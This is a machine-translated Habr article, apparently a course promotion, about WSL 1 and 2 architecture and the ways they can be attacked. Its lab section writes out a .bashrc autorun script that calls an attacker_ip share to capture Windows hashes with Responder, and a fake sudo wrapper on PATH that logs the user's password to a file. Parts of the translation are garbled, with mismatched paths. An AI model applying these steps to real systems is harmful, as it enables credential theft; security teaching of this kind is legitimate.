WSL ექსპერიმენტები. Ნაწილი 1

გამარჯობა, ჰაბრ! OTUS იწყებს ახალი კურსის ნაკადს ოქტომბერში "Linux Security". კურსის დაწყების მოლოდინში გაგიზიარებთ ჩვენი ერთ-ერთი მასწავლებლის, ალექსანდრე კოლესნიკოვის მიერ დაწერილ სტატიას.

2016 წელს Microsoft-მა გააცნო ახალი WSL ტექნოლოგია IT საზოგადოებას (Wინდუსები Sქვესისტემასთვის Linux), რამაც მომავალში შესაძლებელი გახადა ადრე შეურიგებელი კონკურენტების გაერთიანება, რომლებიც იბრძოდნენ პოპულარობისთვის როგორც ჩვეულებრივ, ისე მოწინავე OS მომხმარებლებს შორის: Windows და Linux. ამ ტექნოლოგიამ შესაძლებელი გახადა Linux OS ინსტრუმენტების გამოყენება Windows-ის გარემოში Linux-ის გაშვების საჭიროების გარეშე, მაგალითად, Multi-boot-ის გამოყენებით. Habr-ზე შეგიძლიათ იპოვოთ სტატიების დიდი რაოდენობა, რომლებიც აღწერს WSL-ის გამოყენების უპირატესობებს. თუმცა, სამწუხაროდ, ამ სტატიის შექმნის დროს, ამ რესურსზე ოპერაციული სისტემების ასეთი სიმბიოზის უსაფრთხოების შესახებ კვლევები არ იქნა ნაპოვნი. ეს პოსტი იქნება ამის გამოსწორების მცდელობა. სტატიაში ვისაუბრებთ WSL 1 და 2 არქიტექტურის მახასიათებლებზე და განვიხილავთ ამ ტექნოლოგიების გამოყენებით სისტემებზე თავდასხმის რამდენიმე მაგალითს. სტატია დაყოფილია 2 ნაწილად. პირველი უზრუნველყოფს შეტევის ძირითად თეორიულ მეთოდებს Linux-დან და Windows-იდან. მეორე სტატია მოიცავს სატესტო გარემოს შექმნას და თავდასხმების რეპროდუცირებას.

WSL 1: არქიტექტურული მახასიათებლები

WSL უსაფრთხოების საკითხებში ყველაზე ზუსტი ჩაძირვისთვის აუცილებელია ქვესისტემის განხორციელებასთან დაკავშირებული ძირითადი ნიუანსების დადგენა. WSL-ის მიერ გადაჭრილი მომხმარებლის ერთ-ერთი მთავარი ამოცანაა Linux ტერმინალის მეშვეობით მუშაობის შესაძლებლობა Windows OS-ის მქონე ჰოსტზე. ასევე, შემოთავაზებული თავსებადობა იმდენად მშობლიური იყო, რომ Linux შესრულებადი ფაილები (ELF) შეიძლება გაშვებულიყო პირდაპირ Windows სისტემაზე. ამ მიზნების მისაღწევად, Windows 10-ში შეიქმნა სპეციალური ქვესისტემა, რომელიც საშუალებას გაძლევთ გაუშვათ Linux აპლიკაციები კონკრეტული სისტემური ზარების ნაკრების გამოყენებით - ამრიგად, გაკეთდა მცდელობა Windows-ზე Linux syscalls-ის კომპლექტის რუკაზე. ეს ფიზიკურად განხორციელდა ახალი დრაივერების და ახალი პროცესის ფორმატის დამატებით. ვიზუალურად არქიტექტურა ასე გამოიყურებოდა:

ფაქტობრივად, Linux ოპერაციულ სისტემასთან ურთიერთქმედება ორგანიზებული იყო რამდენიმე ბირთვის მოდულისა და სპეციალური ტიპის პროცესის - pico-ს მეშვეობით. ზემოთ მოყვანილი დიაგრამიდან ხედავთ, რომ Linux-ის ინსტანციაზე გაშვებული პროცესი ჰოსტზე უნდა იყოს მშობლიური და უნდა გამოიყენოს იგივე რესურსები, როგორც ჩვეულებრივი Windows აპლიკაციები. მაგრამ როგორ მივაღწიოთ ამას? პროექტში უჯრა შემუშავდა Windows-ის პროცესის კონცეფციები, რომლებიც უზრუნველყოფდნენ ოპერაციული სისტემის ყველა საჭირო კომპონენტს (დამოკიდებულია მის ვერსიაზე) სხვა OS-ის აპლიკაციის გასაშვებად.

გაითვალისწინეთ, რომ შემოთავაზებულმა აბსტრაქციამ შესაძლებელი გახადა ოპერაციულ სისტემაზე (კერძოდ, Windows) არ ფოკუსირება, რომელშიც მოსალოდნელია სხვა OS-ის პროცესის დაწყება და შემოგვთავაზა ზოგადი მიდგომა.

ამრიგად, ნებისმიერი აპლიკაცია პიკო პროცესის შიგნით შეიძლება იმუშაოს Windows-ის ბირთვის გარეშე:

1. სისტემური ზარების თავსებადობისა და თარგმნის პრობლემები უნდა გადაწყდეს სპეციალური პროვაიდერების მიერ;
2. წვდომის კონტროლი უნდა განხორციელდეს უსაფრთხოების მონიტორის მეშვეობით. მონიტორი განლაგებულია ბირთვში და, შესაბამისად, Windows-ს სჭირდებოდა განახლება ახალი დრაივერის სახით, რომელიც შეიძლება მოქმედებდეს როგორც პროვაიდერი ასეთი პროცესებისთვის. პროტოტიპის პიკო პროცესი სქემატურად არის წარმოდგენილი ქვემოთ:

მას შემდეგ, რაც Linux ფაილური სისტემა იყენებს ფაილების და დირექტორიების სახელებს, რომლებიც მგრძნობიარეა ასოების მიხედვით, Windows-ს დაემატა 2 ტიპის ფაილური სისტემა WSL-თან მუშაობისთვის - VolFS და DriveFS. VolFS არის Linux ფაილური სისტემის იმპლემენტაცია, DriveFS არის ფაილური სისტემა, რომელიც მუშაობს Windows-ის წესების მიხედვით, მაგრამ აქვს კუთხით სენსიტიურობის არჩევის შესაძლებლობა.

WSL 2

WSL 1-ს ჰქონდა მთელი რიგი შეზღუდვები, რაც არ აძლევდა მის გამოყენებას ამოცანების მაქსიმალური დიაპაზონის გადასაჭრელად: მაგალითად, მას არ გააჩნდა 32-ბიტიანი Linux აპლიკაციების გაშვების შესაძლებლობა და შეუძლებელი იყო მოწყობილობის დრაივერების გამოყენება. ამიტომ, 2020 წელს გამოვიდა WSL 2, რამაც შეცვალა ქვესისტემის აგების მიდგომა. WSL 2 არის ოპტიმიზებული ვირტუალური მანქანა, რომელიც შეესაბამება WSL 1-ის რესურსების მოხმარების მახასიათებლებს. ახლა, Windows OS მომხმარებლის მიერ მოგვარებული პრობლემების მიხედვით, შეგიძლიათ აირჩიოთ Linux ქვესისტემის საჭირო ვერსია. შესაძლო დაუცველობის შესამცირებლად, WSL 2 განხორციელდა Hyper-V-ის საფუძველზე Windows 10-ში. ამ ფორმით, Windows-ს აქვს შესაძლებლობა აწარმოოს Linux ოპერაციული სისტემის ბირთვი იზოლირებულად. უნდა გვახსოვდეს, რომ WSL-ის 1 ვერსია დაინერგა როგორც ბეტა ფუნქცია, რომელიც უნდა აჩვენოს Windows-ის განვითარების მიმართულება ამ სფეროში, ამიტომ Hyper-V-ზე გადასვლა გარდაუვალი იყო. საბოლოო არქიტექტურა ასე გამოიყურება:

ამ ვერსიაში Windows-ისა და Linux-ის ბირთვებს აქვთ საკუთარი რესურსები და კვეთა არსებობს მხოლოდ ფაილურ სისტემაში, მაგრამ ეს კვეთა არ არის დასრულებული. ფაილურ სისტემებს შორის ურთიერთქმედება ხორციელდება კლიენტ-სერვერის შეფუთვის საშუალებით, რომელიც მუშაობს 9P პროტოკოლის გამოყენებით.

დღეს Microsoft უზრუნველყოფს WSL 1-სა და WSL 2-ს შორის გადართვის შესაძლებლობას. ორივე ვერსია ხელმისაწვდომია გამოსაყენებლად.

WSL უსაფრთხოება

ამ დროისთვის, არსებობს რამდენიმე ნამუშევარი, რომლებიც აღწერს რამდენიმე მიდგომას ლეგიტიმური OS ინსტრუმენტების გამოყენების შესახებ ქვესისტემებს შორის კომუნიკაციის შეტევისთვის. ჩვენ გამოვიყენებთ მათ სკრიპტებს წერის დროს თავდასხმების შესაბამისობის შესამოწმებლად. თავდასხმებისა და სცენარების ზოგადი სია:

1. ფაილური სისტემის დანერგვა: წვდომის უფლებები, საზიარო დირექტორიების/მონაცემთა გაცვლის მექანიზმების ხელმისაწვდომობა.

ჩატარდა კვლევა დაშვების წესების დარღვევის დასადგენად Linux FS->Windows FS, Windows FS->Linux FS. კვლევამ აჩვენა მოცემული ფაილის შეცვლის შესაძლებლობა სამიზნე OS-ში. ასევე მცდელობა იყო ჩანაცვლება, დუბლიკატების შექმნა და ფაილური სისტემების ნაწილის წაშლა.

სცენარი:

• ა. შეტევა Windows ოპერაციული სისტემიდან - ფაილების მოდიფიკაცია Linux OS-ის /etc დირექტორიადან.
• B. შეტევა Linux ოპერაციული სისტემიდან - ფაილების შეცვლა დირექტორიაში: C:Windows, C:Program Files, C:Users<User>

2. ქსელის სტეკის დანერგვა.

კვლევა ჩატარდა Windows-ზე Linux ოპერაციული სისტემის თავდასხმების მაგალითების გამოყენებით. გამოყენებული იქნა ქსელის სტეკის მახასიათებლები, კერძოდ, ავთენტიფიკაციის მექანიზმები სხვადასხვა რესურსებზე.

სცენარი:

• წვდომის გახსნა პორტზე, რომელიც დაკავებულია Windows სისტემაში
• პორტის გახსნა შესაბამისი უფლებების გარეშე
• უკუ გარსის გაშვება ელფის ფაილის გამოყენებით Windows ოპერაციულ სისტემაზე.

3. მავნე პროგრამული უზრუნველყოფის პროცესების გაშვების დამალვა WSL ქვესისტემის გამოყენებით.

კვლევა დაფუძნებული იყო მარტივ ფაქტზე - უსაფრთხოების ქვესისტემებს არ შეუძლიათ სხვა ბირთვში მოვლენის ჩაჭრა, რომელიც მუშაობს ოპერაციული სისტემის ლეგიტიმური პროვაიდერის გამოყენებით WSL 1-ის შემთხვევაში. WSL 2-ის შემთხვევაში, არ არსებობს მოვლენების ნახვის საშუალება ცალკეულ ბირთვში მსუბუქი ვირტუალური მანქანის ფარგლებში.

სცენარი:

1) გაუშვით აპლიკაცია სისტემაში დისტანციური წვდომისთვის და ნახეთ შესული მოვლენები.

WSL 1 ექსპერიმენტები: ჰეშის ჩარევა (Windows)

ბოლოს მივედით პრაქტიკულ ნაწილზე. პირველ რიგში, თქვენ უნდა დააყენოთ ტესტის გარემო. ყველა ექსპერიმენტი ჩატარდება სკამზე დაყენებული Windows 10 2004. Ubuntu 18.04 გამოსახულება არჩეულ იქნა ოპერაციული სისტემის სურათად WSL-ისთვის. სურათი არჩეულია შემთხვევით და ნებისმიერი სხვა იმუშავებს იგივე. ბრძანებები სტენდის დასაყენებლად:

ჯერ უნდა გაუშვათ powershell.exe როგორც ადმინისტრატორი.

WSL 1-ისთვის თქვენ უნდა შეასრულოთ ბრძანებები:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

სტენდის გადატვირთვის შემდეგ შეგიძლიათ დარეკოთ bash ბრძანება. თუ ყველაფერი სწორად მუშაობდა, Windows-ის კონსოლში მსგავს გამომავალს ნახავთ:

ჩვენ გამოვიყენებთ Kali Linux დისტრიბუციას, როგორც თავდამსხმელის მანქანას; ყველა მანქანა უნდა იყოს იმავე ლოკალურ ქსელში.

დავუშვათ, რომ გვაქვს უპრივილეგირებული წვდომა WSL-ზე Windows-ის აპარატზე. მოდით ვცადოთ Linux ოპერაციული სისტემის შეტევა Linux-ის ბრძანების გამოძახებით. თავდასხმის განსახორციელებლად, ჩვენ გამოვიყენებთ მარტივ autorun ტექნიკას - ჩვენ დავამატებთ ჩვენს სკრიპტს ლინუქსის გარემოში შესასრულებლად. ამისათვის თქვენ უნდა შეცვალოთ ფაილი .bashrc.

WSL აპარატზე ჩვენ ვასრულებთ:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

Kali Linux აპარატზე ჩვენ ვაწარმოებთ:

1. Responder -I eth0 -rdvw

Windows-ის აპარატზე, მოდით გავუშვათ bash.

ჩვენ ველოდებით შედეგს Kali Linux აპარატზე:

ამრიგად, ჩვენ მივიღეთ Windows მომხმარებლის ჰეშები WSL ქვესისტემის მეშვეობით Linux სისტემაზე ბრძანების შესრულებით.

WSL 1 ექსპერიმენტები: მომხმარებლის პაროლის მიღება (Linux OS)

მოდით გავაკეთოთ კიდევ ერთი ექსპერიმენტი. ამ შემოწმების დროს ჩვენ დავამატებთ ფაილს .bashrc რამდენიმე ბრძანება Linux ოპერაციული სისტემის მომხმარებლის პაროლის მისაღებად.

მოდით გავუშვათ bash და შევიყვანოთ ბრძანებები:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

შეტევის წარმატებით დასასრულებლად, მომხმარებელმა სემ უნდა დარეკოს sudo Linux ტერმინალში. ამის შემდეგ, Linux OS მომხმარებლის პაროლი იქნება ფაილში pass.txt:

თავდასხმების განხორციელება მხოლოდ თეორიული ინფორმაციისთვის იყო მოცემული.

სტატიის შემდეგი ნაწილი აღწერს 9P პროტოკოლის განხორციელებას, განიხილავს ამ პროტოკოლის სკანერის შექმნას და ასევე განახორციელებს შეტევას მისი გამოყენებით.

გამოყენებული ლიტერატურის ჩამონათვალი

• WSL 2 კვლევა ცუდში
• Windows ქვესისტემა Linux დოკუმენტაციისთვის

Წაიკითხე მეტი

• როგორ ავირჩიოთ რეალურ დროში Linux Kernel Patching პროგრამული უზრუნველყოფა

წყარო: www.habr.com